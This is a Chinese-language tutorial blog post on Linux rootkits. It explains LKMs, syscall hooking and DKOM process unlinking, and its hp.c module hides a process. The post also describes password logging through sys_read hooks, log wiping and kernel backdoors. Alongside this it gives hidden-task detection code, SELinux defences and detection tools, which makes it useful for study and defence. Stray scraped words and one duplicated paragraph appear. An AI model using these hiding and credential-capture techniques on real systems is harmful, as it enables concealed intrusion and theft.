Linux Rootkit Learning

目錄php

1. 學習Rootkit須要瞭解的基礎知識
2. 掛鉤(HOOKING)
3. 直接內核對象操做
4. LSM框架(Linux Security Module)於LKM安全
5. rootkit檢測技術及工具

 

1. 學習Rootkit須要瞭解的基礎知識html

0x1: 什麼是rootkitlinux

rootkit是容許某人控制操做系統的特定方面而不暴露他或她的蹤影的一組代碼。從根本上說來,用戶沒法察覺這種特性構成了rootkit。rootkit會想盡辦法去隱藏本身的網絡、進程、I/O等信息(注意,這裏所謂的隱藏,只是針對ring3的ui隱藏,內核層的功能不能隱藏,不然rootkit本身也沒法使用功能了),因此,rootkit的攻防問題很大程度上是一個ring0爭奪戰的問題,監控程序必須直接深刻到系統的底層去獲取最原始的數據,才能避免由於rootkit的ring3隱藏致使的誤判ios

0x2: 可裝載內核模塊(LKM)web

Linux就是一般所說的單內核(monolithic kernel),它與微型內核(windows系統中常見)不一樣
shell

1. Linux中的單內核
操做系統的大部分功能都被稱爲內核,並在特權模式下運行。同時,linux也提供動態擴充系統功能的機制(能夠將新的功能加載到內核、從內核去除某個功能),經過Linux內核模塊(LKM)能夠在運行時動態地更改Linux的內核,以達到
動態擴充和裁剪的目的,這樣能夠最小化內核的內存佔用
2. 微型內核 只把基本的功能(進程間通訊[IPC]、調度、基本的輸入/輸出[I/O]和內存管理)看成內核運行,而把其餘功能(驅動程序、網絡堆棧和文件系統)排除在特權空間以外

LKM與直接編譯到內核或典型程序的元素有根本區別
編程

1. 典型的程序有一個main函數
2. LKM包含entry和exit函數(這裏所謂的entry、exit只是一個稱號,咱們能夠任意命名這些函數,只要經過module_init、module_exit宏進行明確聲明)。當向內核插入模塊時,調用module_init聲明的函數,從內核刪除模塊時
則調用module_exit聲明的函數。LKM還包含一組必要的宏和一組可選的宏,用於定義模塊的許可證、模塊的做者、模塊的描述等等

2.6及以上的本的Linux內核提供了更簡單的bash命令用於構建LKM
windows

1. insmod: 安裝LKM
2. rmmod: 刪除LKM
3. modprobe: insmod和rmmod的包裝器
4. depmod: 用於建立模塊依賴項
5. modinfo: 用於爲模塊宏查找值

Relevant Link:
設計模式

http://www.ibm.com/developerworks/cn/linux/l-lkm/
BSD ROOTKIT 設計.pdf 第一章

0x3: ELF文件格式api

關於ELF文件格式的內容請參閱另外一篇文章:

http://www.cnblogs.com/LittleHann/p/3871092.html

0x4: 系統調用

關於系統調用的基本原理和內核代碼,請參閱另外的文章

http://www.cnblogs.com/LittleHann/p/3871630.html
http://www.cnblogs.com/LittleHann/p/3850653.html

0x5: rootkit技術種類

1. 應用級rootkit
經過替換login、ps、ls、netstat等系統工具,或修改.rhosts等系統配置文件等實現隱藏及後門

2. 內核級rootkit
    2.1 掛鉤hook技術
        1) 系統調用hook
        2) 函數api hook
    2.2 直接內核對象操做
    主要是指在系統不支持lkm機制時修改內核的一種方法,主要經過/dev/mem、/dev/kmem設備直接操做內存,從而對內核進行修改

3. 硬件級rootkit
主要指bios rootkit,能夠在系統加載前得到控制權,經過向磁盤中寫入文件,再由引導程序加載該文件從新得到控制權,也能夠採用虛擬機技術,使整個操做系統運行在rootkit掌握之中
http://www.rootkitanalytics.com/firmware/hypervisor.php
http://www.rootkitanalytics.com/kernelland/linux-kernel-rootkit.php

0x6: rootkit的目的

1. 隱藏文件
經過strace ls能夠發現ls命令實際上是經過sys_getdents64得到文件目錄的,所以能夠經過修改sys_getdents64系統調用或者更底層的readdir實現隱藏文件及目錄 

 2. 隱藏進程
隱藏進程的方法和隱藏文件相似,ps命令是經過讀取/proc文件系統下的進程目錄得到進程信息的,只要可以隱藏/proc文件系統下的進程目錄就能夠達到隱藏進程的效果,即hook sys_getdents64和readdir等。   

3. 隱藏鏈接
netstat命令是經過讀取/proc文件系統下的net/tcp和net/udp文件得到當前鏈接信息,所以能夠經過hook sys_read調用實現隱藏鏈接,也能夠修改tcp4_seq_show和udp4_seq_show等函數實現。   

4. 隱藏模塊
lsmod命令主要是經過sys_query_module系統調用得到模塊信息,能夠經過hook sys_query_module系統調用隱藏模塊,也能夠經過將模塊從內核模塊鏈表中摘除從而達到隱藏效果  

5. 嗅探工具
    1) 嗅探工具能夠經過libpcap庫直接訪問鏈路層,截獲數據包
    2) 也能夠經過linux的netfilter框架在IP層的hook點上截獲數據包
嗅探器要得到網絡上的其餘數據包須要將網卡設置爲混雜模式,這是經過ioctl系統調用的SIOCSIFFLAGS命令實現的,查看網卡的當前模式是經過SIOCGIFFLAGS命令,所以能夠經過hook sys_ioctl隱藏網卡的混雜模式  

6. 密碼記錄
密碼記錄能夠經過hook sys_read系統調用實現,好比經過判斷當前運行的進程名或者當前終端是否關閉回顯,能夠獲取用戶的輸入密碼。hook sys_read還能夠實現login後門等其它功能  

7. 日誌擦除
傳統的unix日誌主要在
    1) /var/log/messages
    2) /var/log/lastlog
    3) /var/run/utmp
    4) /var
    5) /log/wtmp下
能夠經過編寫相應的工具對日誌文件進行修改,還能夠將HISTFILE等環境變設爲/dev/null隱藏用戶的一些操做信息

8. 內核後門
    1) 本地的提權後門
    本地的提權能夠經過對內核模塊發送定製命令實現
    2) 網絡的監聽後門
    網絡內核後門能夠在IP層對進入主機的數據包進行監聽,發現匹配的指定數據包後馬上啓動回連進程
  http://www.freebuf.com/articles/web/19798.htm

Relevant Link:

http://la-samhna.de/library/rootkits/list.html
http://wenku.baidu.com/view/70ee7a29647d27284b735161.html
http://www.rootkitanalytics.com/

 

2. 掛鉤(HOOKING)

掛鉤是一種使用處理程序(叫作掛鉤)來修改控制流的編程技術。新的掛鉤把它的地址註冊爲特定函數的地址,這樣當那個函數被調用時,掛鉤程序就代替它運行。通常,掛鉤還會調用原先的函數,目的是維爲了持原來的行爲

能夠看出,掛鉤可用來擴展(或削弱)一個子程序的功能。掛鉤可按照rootkit的設計目的來修改操做系統的應用程序編程接口(API)的運行效果(有點相似設計模式中的裝飾器設計模式)

0x1: 系統調用掛鉤(Hooking a System Call)

系統調用是一種入口點,應用程序經過它向操做系統請求服務。經過掛住這些入口點,rootkit就能改變內核返回給某個或全部用戶空間進程的數據。實際上,系統調用掛鉤很是地有效,以致被大多數(可公開獲取到的)rootkit在某種程度上都使用到了系統調用hook技術

從目前的狀況看來,不管是對於嘗試編寫rootkit的攻擊者、仍是如要進行入侵檢測防護的安全研究員來講,它們都會解除到的系統調用掛鉤(Common System Call Hooks)大體有以下

1. read, readv, pread, preadv
    1) 監控: 經過監控系統的讀取流,達到惡意文件、webshell內容檢測
    2) rootkit: 劫持系統的輸入記錄,達到以隱蔽方式獲取敏感數據

2. write, writev, pwrite, pwritev
    1) 監控: 監控系統的輸出,以達到debug的目的
    2) rootkit: 劫持並修改系統的輸出記錄,或者隱藏惡意程序行爲的目的

3. open
    1) 監控: 經過監控磁盤的I/O(open)記錄,能夠發現rootkit、webshell的產生
    2) rootkit: 隱藏文件內容,使普通ring3程序沒法發現rootkit文件自己

4. 關鍵文件/目錄保護
    4.1 unlink: 禁止刪除文件
    4.2 chdir: 禁止切換目錄
    4.3 chmod: 禁止修改文件屬性
    4.4 chown: 禁止修改全部者
    4.5 rename: 禁止重命名文件
    4.6 rmdir: 禁止刪除目錄
    4.7 stat, lstat: 隱藏文件狀態
    4.8 getdirentries: 隱藏文件
    4.9 truncate: 禁止文件截短或擴展

5. kill
禁止信號傳遞

6. ioctl
操做ioctl請求

7. execve
重定向文件的執行

8. LKM監控/保護
    8.1 kldload: 禁止加載模塊
    8.2 kldunload: 禁止卸載模塊

關於系統調用hook的姿式,請參閱另外一篇文章

http://www.cnblogs.com/LittleHann/p/3854977.html

對於系統調用掛鉤,這裏有幾點核心的概念須要咱們牢記

1. 系統調用掛鉤其實是改變函數指針,而修改這個函數指針的過程咱們能夠簡單歸納爲:
    1) 找到這個函數指針的原始位置
        1.1) 經過系統提供的API
        1.2) 寄存器直接得到基址,在內核數據結構偏移的基礎上進行直接內存定位
    2) 保存原始函數指針的地址
    3) 經過C語言的指針操做指令進行賦值修改函數指針地址
    4) 完成系統調用hook

2. 要爲了完成一個特定的任務,一般存在一些不一樣的入口點可供你掛鉤,在整個系統調用的流程中的任何點理論上均可以進行劫持hook
例如: 經過掛鉤read系統調用編寫了一個擊鍵記錄程序;可是,這個任務還能夠經過掛鉤終端線路規則(termios)轉換表中的l_read 入口點來完成 

 

3. 直接內核對象操做

全部的操做系統(linux、windows)都會把內核中的運行狀態(包括進程信息、系統內核狀態)這些數據以對象的形式保存下來,包括:

1. 結構體
2. 隊列
3. 數組

這些內核狀態信息每每保存在內核空間的某個地址段中,當咱們經過系統向內核查詢這些"內核狀態信息"(運行進程的列表、開放的端口等)時,這些數據就被解析並返回。
由於這些數據是保存在內存中的,因此能夠直接去操做它們,咱們沒有必要安裝一個調用掛鉤來改變控制流。這個技術一般叫作"直接內核對象操做(DKOM)"

0x1: 內核隊列數據結構(Kernel Queue Data Structures)

關於linux內核中的隊列數據結構的相關知識,請參閱另外一篇文章

http://www.cnblogs.com/LittleHann/p/3865490.html

0x2: 隱藏運行進程(Hiding a Running Process)

如今,咱們已經linux在內核中是經過鏈表將各個進程串聯起來,也掌握瞭如何操做這些鏈表的的"操做宏"。接下來能夠繼續學習一下如何經過直接修改這些"內核隊列結構"來實現改變系統狀態的,須要明白的是,不管是在linux仍是在windows,所謂的系統狀態就是內核中的一個個數據結構、鏈表共同組成的,咱們平時使用API、系統調用去get()、set()各類狀態,本質上就是在讀寫這些內核中的變量,因此,對內核變量進行直接定位並修改是改變linux內核狀態的一個最好的思路

如今,咱們已經linux在內核中是經過鏈表將各個進程串聯起來,也掌握瞭如何操做這些鏈表的的"操做宏"。接下來能夠繼續學習一下如何經過直接修改這些"內核隊列結構"來實現改變系統狀態的,須要明白的是,不管是在linux仍是在windows,所謂的系統狀態就是內核中的一個個數據結構、鏈表共同組成的,咱們平時使用API、系統調用去get()、set()各類狀態,本質上就是在讀寫這些內核中的變量,因此,對內核變量進行直接定位並修改是改變linux內核狀態的一個最好的思路
按照這個思想,咱們能夠直接去操做linux系統中表示進程的鏈表,斷開其中某個元素後,系統在遍歷這個鏈表的時候找不到指定元素,這個進程就被咱們"隱藏"了

1. The LINUX kernel contains an array of task_struct’s.
2. A task_struct is similar to an EPROCESS block in Windows
3. task_struct contains pointers to the prev_task and next_task
4. task_struct also contains pointers to the prev_run and next_run for the running processes
5. To hide a process, remove the process from the list of prev_task and next_task and Leave next_run and prev_run alone

簡單來講,這就是windows驅動hacking中常說的"斷鏈法"

這裏,咱們須要對系統內核進程隱藏的攻防進行一下理解梳理

1. 對於黑客來講,隱藏進程能夠經過將某個上層rin3會用到的內核鏈表(內核狀態變量)進行斷鏈,以實現隱藏的目的
2. 而對於安全研究員防守方來講,要對抗這種攻擊,就必須在內核中的其餘地方找到另外一個一樣能夠表示進程列表的數據結構,以此來再次繞過黑客的隱藏攻擊
3. 那這個攻防過程能不能無限的進行下去呢?答案是否認的!黑客在使用"斷鏈法"進行進程隱藏的時候,不能去破壞CPU調度所使用到的鏈表(這是最低的底線),若是把CPU的調度所依賴的鏈表都斷開了,隱藏進程的目的是達到了,但是
這個進程也廢了,由於它失去了被調度的能力

回到咱們文章的例子上來看,task_struct鏈表就是CPU調度的依賴,咱們若是對這個鏈表進行斷鏈,則CPU天然也不會去調度這個進程了,爲了解決這個問題,咱們須要給內核打上hot-patch

hp.c

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>

pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;

int init_module ( ) {
    if ( pid ) {
        task = find_task_by_pid(pid) ;
        printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
        if ( task ) {
            write_lock_irq(&tasklist_lock) ;
            if ( method & 0x1 ) {
                printk("[HP] removing process links\n") ;
                REMOVE_LINKS(task) ;
            }
            if ( method & 0x2 ) {
                printk("[HP] unhashing pid\n") ;
                unhash_pid(task) ;
            }
            if ( method & 0x4 ) {
                printk("[HP] zerofing pid\n") ;
                task->pid == 0 ;
            }
            write_unlock_irq(&tasklist_lock) ;
        }
    } else if ( task ) {
        printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
        write_lock_irq(&tasklist_lock) ;
        if ( method & 0x1 ) {
            printk("[HP] setting process links\n") ;
            SET_LINKS(task) ;
        }
        if ( method & 0x2 ) {
            printk("[HP] hashing pid\n") ;
            hash_pid(task) ;
        }
        if ( method & 0x4 ) {
            printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
            task->pid = task->tgid ;
        }
        write_unlock_irq(&tasklist_lock) ;
    }
    return 1 ;
}

MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;

MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;

MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;

MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;

sht.c

#define __KERNEL__
#define MODULE
#include <linux/kernel.h> #include <linux/module.h> #include <linux/sched.h> struct idta { unsigned short size ; unsigned long addr __attribute__((packed)) ; } ;
struct idt { unsigned short offl ; unsigned short seg ; unsigned char pad ; unsigned char flags ; unsigned short offh ; } ; unsigned long get_idt_addr ( void ) { struct idta idta ; asm ( "sidt %0" : "=m" (idta) ) ; return idta.addr ; } unsigned long get_int_addr ( unsigned int intp ) { struct idt idt ; unsigned long idt_addr ; idt_addr = get_idt_addr() ; idt = *((struct idt *) idt_addr + intp) ; return idt.offh << 16 | idt.offl ; } void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) { struct idt idt ; unsigned long idt_addr ; if ( old_func ) *old_func = get_int_addr(intp) ; idt_addr = get_idt_addr() ; idt = *((struct idt *) idt_addr + intp) ; idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ; idt.offl = (unsigned short) (new_func & 0xFFFF) ; *((struct idt *) idt_addr + intp) = idt ; return ; } asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ; asmlinkage void stub_func ( void ) ; unsigned long new_handler = (unsigned long) &check_task ; unsigned long old_handler ; void stub_handler ( void ) { asm(".globl stub_func \n" ".align 4,0x90 \n" "stub_func : \n" " pushal \n" " pushl %%eax \n" " movl $-8192 , %%eax \n" " andl %%esp , %%eax \n" " pushl %%eax \n" " movl -4(%%esp) , %%eax \n" " pushl %%esp \n" " call *%0 \n" " addl $12 , %%esp \n" " popal \n" " jmp *%1 \n" :: "m" (new_handler) , "m" (old_handler) ) ; } asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) { struct task_struct *task_p = &init_task ; unsigned char on_ll = 0 , on_ph = 0 ; if ( ! task->mm ) return ; do { if ( task_p == task ) { on_ll = 1 ; break ; } task_p = task_p->next_task ; } while ( task_p != &init_task ) ; if ( find_task_by_pid(task->pid) == task ) on_ph = 1 ; if ( ! on_ll || ! on_ph || ! task->pid ) printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? \
"on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ; return ; } int sht_init ( void ) { hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ; printk("[SHT] loaded - monitoring tasks integrity\n") ; return 0 ; } void sht_exit ( void ) { hook_int ( 128 , old_handler , NULL ) ; printk("[SHT] unloaded\n") ; return ; } module_init(sht_init) ; module_exit(sht_exit) ; MODULE_AUTHOR("ubra / PHI Group") ; MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ; MODULE_LICENSE("GPL") ; EXPORT_NO_SYMBOLS ;

Makefile

all: sht.c hp.c
    gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c

sh.patch

--- linux-2.4.30/kernel/sched_orig.c    2004-11-17 11:54:22.000000000 +0000
+++ linux-2.4.30/kernel/sched.c    2005-07-08 13:29:16.000000000 +0000
@@ -534,6 +534,25 @@
     __schedule_tail(prev);
 }
 
+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
+{
+    struct task_struct *task_p = &init_task;
+    unsigned char on_ll = 0, on_ph = 0;
+
+    do {
+        if(task_p == prev) {
+            on_ll = 1;
+            break;
+        }
+        task_p = task_p->next_task ;
+    } while(task_p != &init_task);
+    if (find_task_by_pid(prev->pid) == prev)
+        on_ph = 1 ;
+    if (!on_ll || !on_ph || !prev->pid)
+        printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, \
next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID"); + return; +} + /* * 'schedule()' is the scheduler function. It's a very simple and nice * scheduler: it's not perfect, but certainly works for most things. @@ -634,6 +653,13 @@ task_set_cpu(next, this_cpu); spin_unlock_irq(&runqueue_lock); + /* + * check task`s structures before we do any scheduling decision + * skip any kernel thread which might yeld false positives + */ + if(prev->mm) + phi_sht_check_task(prev, next); + if (unlikely(prev == next)) { /* We won't go through the normal tail, so do this by hand */ prev->policy &= ~SCHED_YIELD;

0x3: 對抗VFS HOOK進程隱藏檢測

不管是在Linux、window下,進程隱藏的檢測技術的核心思想都是相似的

1. 肯定用戶態枚舉列表的數據來源
2. 在內核態肯定另外一個更底層的表示進程列表的數據結構(經常是鏈表)
3. 對比二者比較的結果,肯定是否發生隱藏行爲

process_list.c

#include <linux/module.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/stat.h>
#include <linux/version.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 24)
#define ITERATE_NAME readdir
#define READ_PROC_PROTO char *buffer, char **start, off_t off,int count, int *eof, void *data
#else
#define ITERATE_NAME iterate
#define READ_PROC_PROTO struct file* file, char* buffer, size_t count, loff_t* offset
#endif

static struct file_operations proc_file_ops;

static unsigned short int read_flag;

void *get_vfs_readdir ( const char *path )
{
    void *ret;
    struct file *filep;

    if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
        return NULL;
        if(!IS_ERR(filep))
        {
            if ((ret = filep->f_op->ITERATE_NAME)==NULL)
                return NULL;
            filp_close(filep, 0);
            return ret;
        }
        else{
                return 0;
        }
}

int read_proc(READ_PROC_PROTO) 
{
    int len=0;
    struct task_struct *task_list;
    char path[64]="\0";

    if(read_flag)
        read_flag = 0;
    else 
    {
        read_flag = 1;
        return 0;
    }
    len  += sprintf(buffer+len, "\t\t\tRootkit Checker Demo\n\t\t\tbeta v0.1 [only vfs hook rootkit]\tby xti9er\n");
    for_each_process(task_list) 
    {
        strcpy(path,"/proc/");
        sprintf(path,"%s%d",path,task_list->pid);
        len  += sprintf(buffer+len, "[%d] %s",task_list->pid,task_list->comm);
        printk("[%d] %s",task_list->pid,task_list->comm);

            if(get_vfs_readdir(path))
            {
                len  += sprintf(buffer+len, "\n");
                printk("\n");
            }
            else{
                len  += sprintf(buffer+len, "\t[may be hiddened by vfs_readdir hook]\n");
                printk("\t[maybe hiddened by vfs_readdir hook]\n");
            }
    }
      
    return len;
}

int functn_init (void) {

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 24)
    create_proc_read_entry("ps_list",0,NULL,read_proc,NULL);    
#else
    proc_create("ps_list",0,NULL,&proc_file_ops);
    proc_file_ops.read=read_proc;
#endif

    read_flag = 1;
    return 0;
}

void functn_cleanup(void) {
    remove_proc_entry("ps_list",NULL);
} 

MODULE_LICENSE("GPL");   
module_init(functn_init);
module_exit(functn_cleanup);

Relevant Link:

http://phrack.org/issues/63/18.html
http://files.cnblogs.com/LittleHann/HiddenProcesses.ppt
http://security.tencent.com/index.php/opensource/detail/16

 

4. LSM框架(Linux Security Module)於LKM安全

LSM框架自身並不提供任何安全策略,它只是爲安全模型提供了一致性接口。它使得各類不一樣的安全模型之內核模塊的方式獲得實現,並且不需改動內核源代碼以及從新編譯內核。目前基於LSM框架實現的最主要的安全模塊主要有

1. SELinux(安全加強型Linux)
SELinux模型的安全體系結構被稱爲Flask體系,它是基於動態策略配置的MAC(強制訪問控制)子系統,可以支持較細粒度的權限管理,在Linux 2.6內核中是以模塊形式出現。
SELinux 由三部分組成:
    1) 安全服務器
    安全服務器爲得到安全策略的決策斷定提供通用接口,使其他部分保持安全策略的獨立性
    2) 訪問向量緩存
    訪問向量緩存(AVC)
    提供了從安全服務器得到的訪問策略決策結果的緩衝區,以減小性能開銷
    3) 對象管理器
    對象管理器集成在內核的各個子系統,如進程管理子系統,文件子系統,它從安全服務器或者訪問向量緩存AVC中得到安全策略斷定結果,而後應用這些斷定結果給進程和對象的安全標記賦值,最後根據這些安全標記控制系統上的各
種操做
2. LIDS(Linux 入侵檢測系統) 3. POSIX 1e Capabilities 4. DTE(域和類安全加強)

在傳統的安全機制下,Linux安全是基於自主存取控制(DAC)機制的,只要符合規定的權限,如規定的全部者和文件屬性(讀、寫、執行)等,就可存取資源。一些經過setuid/setgid的程序就能造成嚴重的安全隱患,甚至一些錯誤的配置就可引起巨大漏洞,使系統被輕易攻擊
而SELinux則基於強制存取控制(MAC),透過強制性的安全策略,應用程序或用戶必須同時符合DAC 及對應SELinux的MAC才能進行正常操做,不然都將遭到拒絕或失敗,而這些問題將不會影響其餘正常運做的程序和應用,並保持它們的安全系統結構。
LKM 注入攻擊通常是對/lib/modules/(uname-r)/kernel/下的模塊文件進行修改,SELinux下的權限設置能限制對模塊文件的修改,爲模塊文件的完整性提供保證,從而防止針對模塊文件的 LKM注入攻擊。同時 SELinux下的權限設置限制了惡意程序對/dev目錄下文件訪問和修改。因爲進行了基於CAP_SYS_MODULE 權能的加載權限的檢查,阻止了許多獲取root權限後的惡意加載

Relevant Link:

論文: Linux 2.6 內核下LKM 安全性研究 徐敏,熊盛武

 

5. rootkit檢測技術及工具

0x1: rootkit防護技術

on prevention

1. Create MD5 checksums of critical system utilities
2. Record all open ports
3. Save copies of system utilities to floppy or CD-ROM
4. Configure remote syslog hosts
5. Introduce network logging
6. Secure your systems (patch, administer, harden)

Detection
rootkit通常會集成不少的組件和功能,檢測rootkit本質上就是在理解rootkit的行爲的基礎上進行鍼對性的分類、聚類、以及行爲定性

1. Trojan horse system utilities that prevent the system administrator from detecting attacker activity
2. Back doors that allow the hacker to enter the system at will
3. Log-wiping utilities that erase the attacker's access record from system log files
4. Packet sniffers that capture network traffic for the attacker
5. Other utilities that can be used for communication or further attacks

Relevant Link:

http://www.techrepublic.com/article/detecting-rootkits/

0x2: rootkit檢測工具

1. KsiD [Kernel Symbol Interception Detection] 
http://www.rootkitanalytics.com/kernelland/ksid.php

2. Autodesk DWF Toolkit 7.7
http://usa.autodesk.com/adsk/servlet/index?id=823771&siteID=123112

3. ElfStat
http://www.rootkitanalytics.com/kernelland/elfstat.php

4. Unhide
http://www.unhide-forensics.info/?Linux
Unhide是一個查找系統隱藏進程和TCD/UDP端口的小工具,利用rootkits/LVMS及其餘隱藏技術實現。這個工具能夠工做中Linux/unix和Windows系統下
unhide檢測隱藏進程基於如下技術
    1) Compare /proc vs /bin/ps output
    2) Compare info gathered from /bin/ps with info gathered by walking thru the procfs.
    3) Compare info gathered from /bin/ps with info gathered from syscalls(syscall scanning)
    4) Full PIDs space occupation (PIDs bruteforcing)
    5) Reverse search, verify that all thread seen by ps are also seen by the kernel(/bin/ps output vs /proc, procfs walking and syscall)
    6) Quick compare /proc, procfs walking and syscall vs /bin/ps output.
unhide檢測隱藏端口基於如下技術
    1) Identify TCP/UDP ports that are listening but not listed in /bin/netstat doing brute forcing of all TCP/UDP ports availables.

 

Copyright (c) 2014 LittleHann All rights reserved

相關文章
相關標籤/搜索